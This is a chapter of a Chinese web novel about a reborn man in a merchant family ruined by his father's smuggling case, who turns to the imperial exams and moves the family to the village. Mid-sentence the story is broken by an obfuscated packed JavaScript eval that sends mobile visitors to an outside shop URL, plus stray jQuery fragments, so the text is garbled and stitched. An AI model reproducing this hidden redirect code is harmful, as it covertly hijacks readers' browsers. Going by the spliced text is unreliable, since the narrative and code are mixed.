程万山出门后,程愫又被迫在家躺了几日。
虽然大夫说养两日便好,但他家中这些个亲人却不依。硬是按着他在家中好一通修养,他娘并着几个姨娘还有姐姐们天天变着花样给他做好吃的补身体,还有上好的人参燕窝给他炖汤喝,身边还有两个小丫鬟伺候,日子过的平静又安逸。
他真是命好,穿到这里来享福了。
这几日整理了一下脑海中的记忆,他摸清了这个家中的人员构成。
程家人口说简单也简单,程万山爹娘早逝,他这一辈有两个兄弟,他在家中排行老三,上头有两个哥哥,爹娘死了之后他们兄弟就分家了。
程万山发妻早逝,只留下一个女儿,也就是程愫的大姐程巧云。程巧云今年三十三岁,早些年就成亲嫁人了。
现如今的继室钱顺娘,从前是妾室,后来老蚌怀珠生了程愫这个独苗苗,才被抬为正室的。而在程愫之前,她育有两个女儿,也就是程愫一母同胞的姐姐,二姐程莲香和三姐程秋菊。这两个姐姐也都已经成亲了。
二姨娘周氏育有两女,便是程愫的四姐程杏儿和五姐程穗儿。四姐程杏儿今年十八,已经定了亲,过完年开春就要成亲了,对方还是个秀才,两人十分般配。
五姐程穗儿今年十六,也到了相看的年纪,她长得漂亮,向来眼光高,自家四姐姐都能配的个秀才,旁的那些歪瓜裂枣的她更不放在眼里了。以至于拖到现在这亲事也没定下来。
三姨娘孙氏育有两女,为程愫的六姐程雅宁和七姐程婉婷。六姐程雅宁今年十四,七姐程婉婷十三,她们年纪还小,都未曾定亲。
四姨娘秋氏育有一女,为程愫的八姐,名为程玉瑶。程玉瑶只有十二岁,年纪最小,但被秋姨娘教导的很懂事。
再有就是家中人人都知道的童养夫郎林宣,以及一众丫鬟小厮和仆从。
程愫是家中男丁,不按姐姐们的顺次排序,家中长辈们都管他叫大郎。他实在不爱听这个称呼,总觉得有些怪怪的,就跟他娘商量道:“阿娘,以后还是管我叫九郎吧,说不准就是叫大郎叫的,这次地府小鬼勾魂的时候才勾走的,叫九郎,以为咱们家前面还有八个男儿,那些个小鬼肯定就找不到我了,以后我就能健健康康平平安安的。”
程愫一通瞎编,他娘却信了,这种鬼神之事,宁可信其有,不可信其无,忙说:“我儿说的有理,以后让家中人唤你九郎。”
现在程愫可是她的心尖尖,别说这个小小的要求了,就算是要星星要月亮,那也是要想办法弄的。
程九郎在家里躺的这小半个月都是他娘钱氏亲自照料的。原主虽然从小娇生惯养,但身体底子好,这次落水将养的好,也没落下什么病根。
身体全好了后,程愫终于被允许出院子转转了,可还不等他出门呢,外面突然有人来报信儿,说他爹犯了事,被官府的人缉拿下狱了。
程愫心头升起不祥的预感,那“躺平”的美梦边缘,开始出现裂痕。
消息传来的时候,钱氏正在和周姨娘她们打络子。虽然同为后院里的女人,但她们之间少有争风吃醋,自己跟前都有孩子,日子也算有盼头,平日里相处倒是还算和睦。
程万山年岁大了,又经常在外面跑生意不在家,几个妾室从前也都是贫苦人家出身,周姨娘原名周连娣,孙姨娘叫孙招娣,只有秋姨娘的名字雅致些,叫秋兰心。
当初纳这几个妾室的时候,程万山只有一个目的,那就是一定要生个儿子。所以长相漂不漂亮没关系,出身好不好也没关系,只要好生养就行。只看这几个姨娘的名字就知道程万山的用意。
只有秋姨娘是因着身世凄惨的缘故被纳进来的。听说是家道中落逃难的途中遇见在外面谈生意的程万山,这才被带回来的。几个姨娘中,数她年纪最小,不过她平日里倒是本分,从不惹事生非,跟其他几个姨娘相处的还算融洽。
乍一听小厮报来的噩耗时,钱氏只觉得眼前天旋地转,差点晕倒。
其余几个姨娘也都一脸惊吓,老爷可是他们家中的顶梁柱,一出事她们心里砰砰直跳。
她们都是妇道人家,哪里懂得如何跟官府的人打交道?
钱氏努力稳住心神,吩咐小厮:“找几个人去官府打听一下情况。还有,老爷平日里有几个私交不错的朋友,你都识得,快去向他们问问看知不知情,该如何是好?”
程愫也很关心这件事。
这可是他的长期饭票啊,他还想安安稳稳当一条咸鱼呢,怎么刚来就出了这档的事?
程家如今只有程愫一个男丁,一家子都是女人,还有一个哥儿,遇见此等事情她们全都心慌的厉害。
从打发小厮出去打听情况,已经过了半日,一直到晚间才打听了个一二回来。
程愫听完后,觉得程万山就是被这次谈的生意给坑了,他那位好友已经不知所踪,如今他付了钱,还抵押了铺子,要的货却全损在了船上。货拿不到,签的契还有成倍的违约赔付。
在这个节骨眼上,这还不是最要紧的,风浪太大,掀翻了船只,船上的人也跟着丧命了几人。官府查出竟是有人蓄意走私官盐,程万山这才被捉拿下了狱。
涉及到走私,这事儿有点难办。程愫想,好在这船不是他爹的,人手也不是他雇的,都是他那位好友一手操办,只是那人已不见踪影。
这事只要官府仔细查,程万山最后应该不会有什么性命之忧。只是免不得会受牵连,要在牢狱中遭受一番折磨,而官府多久能够查清此事,这谁能说得准?
在这个世道,权力永远大于金钱。
他爹牵扯到了走私案,家里姨娘们都没个主意,钱氏虽然被扶正了,但也是乡野出身,哪里见过这种场面,也没个主意。
最后程愫拍板做了决定,筹钱把他爹先从官府赎出来。但这个世道哪这么容易,那些个衙役官差一年到头的俸禄没几个钱,全靠狱中羁押的犯人家里人的打点多捞些油水。
可程万山犯的事也并不是一点干系都没有,他信错了人,被人当枪使了。想要打点接他出来,家中的银子怕是不够用。
程愫虽然只有十岁,但程万山对他寄予厚望,三岁就请了夫子给他开蒙,满打满算也读了七年的书。再者他又是家中如今唯一的男丁,他的话,钱氏倒是听得进去。
最后钱氏做主,把家里的良田和铺子卖了,又卖了如今的这座宅院,再加上出嫁的女儿送来的,凑了不少银钱。
留得青山在不怕没柴烧,大笔的银钱如水般花花往外流,还是有点成效的。一个月后终于把程万山接了出来。
程万山回来后得知家里的宅子铺子和田地都卖了,抱着程愫哭得更大声了,那声音里充满了滔天的冤屈和走投无路的绝望。
“完了……全完了啊愫儿!都怪爹识人不清,害咱家遭了大难了!全都没了!什么都没了!就剩下……就剩下城外那几十亩没人要的荒田了!呜呜呜……儿啊,都是爹没用!爹护不住家业,本想给你多留点基业,谁知却成了今日这般啊!”
此时的程愫僵在老爹怀里,咸鱼安详的笑容彻底凝固在十岁孩童稚嫩的脸上。他本来已经坦然接受了这个现实,可这会儿又被便宜爹声泪涟涟的说了一遍,他更难受了。
半个月前他还憧憬着的金山银山、衣来伸手饭来张口的幸福咸鱼生活,像被戳破的肥皂泡,“啪”地一声,碎得干干净净。
他艰难地转动眼珠,再次看向围着他的一圈人:哭得快要晕厥的老爹,几个虽然美丽但此刻都面有菜色、眼神惶然无助的姐姐,一群同样惶恐不安、仿佛失去了依靠的姨娘们……
最后,他的目光定格在那位安静站在一旁的林宣身上。少年依旧沉默,深色的眸子静静地回望着他,眼里充满了担忧。不是对自己未来生活的担忧,而是担忧小少爷。
小少爷自小过惯了锦衣玉食的生活,如今突遭变故,也不知多久才能适应以后的日子。
程愫此时只觉得一股寒气从脚底板直冲天灵盖。脑海中浮现出了大大的几个字——养家糊口。
他爹在狱中吃了不少苦头,虽然花了很多钱打点,但到底还是留下了病根,他年纪又大了,常年养尊处优,很少下地干活,以后靠他养活这一家子人不现实。
只是……自己一个刚死过一次、只想躺平的前社畜,要养这一大家子人?包括这个……过于好看的夫郎?靠那几十亩荒田?
程愫看着眼前这一屋子老弱妇孺,以及一个身份尴尬的美少年,再看看抱着他哭得快要背过气去的老爹,只觉得一座无形的大山轰然压在了他那十岁的小身板上。
他张了张嘴,喉咙干涩得发不出任何声音。
穿越开局即巅峰?
不,这分明是开局即地狱模式!
屋子里,只有程万山撕心裂肺的哭声在回荡,宣告着程愫那短暂得可怜的“咸鱼梦”彻底碎了。
不过这次的事情让程愫意识到,在这个世界,权利很重要。官大于民大于商,即便你再有钱,手中没有权利,只能任人宰割。
他意识到,科举,是他成为人上人的唯一途径。
前世的他在学习上很有天赋,年仅十九岁就读到了农学的博士,不就是再读一遍书吗?有天分再加上刻苦,哪怕是能考个最次的同进士,以后做个七品芝麻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114161|195901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官也是官啊。
“老爷,别想那么多了,当务之急,是想想以后的事。这宅子已经卖了,咱们得赶紧找个落脚的地方。”钱氏提醒道。
虽然她心里也不好受,可只要老爷人没事,一家子在一块,以后的日子总有奔头的。
程万山这才想起来家里的宅子如今已经卖了,明天就是交房的日子,最迟明天他们就得搬走。
他是个软弱的性子,人活到这把年纪,却一无所有,这种打击对他来说不是一般的大。他这会叹了口气,租房住不现实,还费银钱,想了想,说道:“如今也只能回老宅住了。”
程万山所说的老宅在程家村,是他刚发迹之后在村子里盖的屋子。后来赚钱了之后他就在镇上买了房安了家,鲜少回来。不过当时年轻气盛,多少也有些想要显摆的意思,专门花钱雇了人重新盖了几间青砖大瓦房。
谁能料想如今发生这种变故,这村里的宅子倒是派上用场了。
只是他已经多年没有回去过,从前因为分家时就与上头的两个哥哥闹的不太愉快,这些年很少走动。老宅他也多年没有让人去打扫,如今恐怕门前已经长草了。
他本想借些钱先把家里的院子赎回来,可从前的好友仿佛都变了个人,不是奚落就是避而不见。
如今也只有老宅能暂时住着了,至于以后,只能待安顿好后再从长计议。
不管怎么着,他还有儿子要养。如今儿子是他仅剩的慰藉了。不是他不疼女儿,他也是疼惜的,只是女儿太多了,便也没那么稀罕了。
这次家中出事急需银钱,几个出嫁的女儿有孝心,得到消息后都回来拿了钱帮忙,只是杯水车薪。
程万山庆幸早早给四闺女定了亲,对方是个秀才,人品贵重,与他家杏儿情投意合,现在虽然他们程家家道中落,但最起码女儿还能嫁个好人家。
晚上这顿饭一家子都没什么胃口,便早早歇了。
程万山今天晚上在钱氏这里休息,房间里的烛火已经剪了烛芯,两个人躺在床上都没睡着。
“顺娘,家里如今还余下多少银钱?”程万山道。
“整银碎银加起来,差不多有八十两。”
对于程家从前的家境来说,这点钱可能不算什么,但对于村子里简单的人家来说,已经是人家很多年的口粮了。
可偏偏他们家跟村子里的人家还不太一样,他们家人多,这开销自然也就大,还没什么进项,只出不进,那就是再多的银子也不够花。
都说由俭入奢易,由奢入俭难,这八十两银子如果不仔细着点花,恐怕过不了多久就要没了。
家中孩子多,但钱氏平日里对家中每个姑娘都一视同仁,吃穿用度上都是一样的。要不然程万山也不会放心把掌家权交给她。
钱氏抿了抿唇,想了想还是说道:“老爷,要不咱们把莲香拿回来的这几十两银子给她吧,因着这些钱,他们小两口好像还闹了矛盾,我担心她跟婆家闹得不愉快,日子过不好。”
人都是有私心的,更何况是她这个亲娘。再怎么一视同仁,真到了节骨眼上,她肯定要更心疼自个闺女一些,毕竟是她身上掉下来的肉。
程万山不知在想什么,良久没说话。就在钱氏以为他睡着了的时候,突然听他说道:“先不给二丫头了,她与女婿闹别扭也不是一回两回了,从前她从家里拿回去的少了?如今咱们正是用钱的时候,就当是咱们借的,你回头给她打个欠条,等以后攒下银钱咱们再还她。再说了,大丫头三丫头这次也帮衬了家里不少,不能厚此薄彼,若是打欠条,一并都写上吧。”
钱氏不吭声了,三个出嫁的女儿拿回来的钱也是一笔不小的银子,都打上欠条,何年何月才能还得上。
罢了,儿孙自有儿孙福,如今眼前自家的事儿都顾不过来,还是不操心这些了。
钱氏翻了个身,最近折腾的没睡上一个安稳觉,眼皮子逐渐沉重起来,她脑海里还惦记着明天搬家的事,时间紧,他们也来不及提前打扫乡下的屋子,只能先搬过去再说。也不知过了多久,她才迷迷糊糊的睡着了。
第二天一大早,程家的人就赶忙起来收拾东西。这两天零零碎碎的也收拾了不少,这一大清早天还没亮,把剩下的东西一装,就能出发了。
程家原本就有马车,只是他们正是用钱的时候,马车这种金贵的东西也都卖掉凑钱了。
程万山让林宣去了一趟车马行,租了两辆宽大的马车,又租了三辆骡车回来,方便拉人拉东西。
程家大门彻底关上的那一刻,程家人脸色戚戚,周姨娘还悄悄抹起了眼泪,也不知道他们还有没有回来的那一天。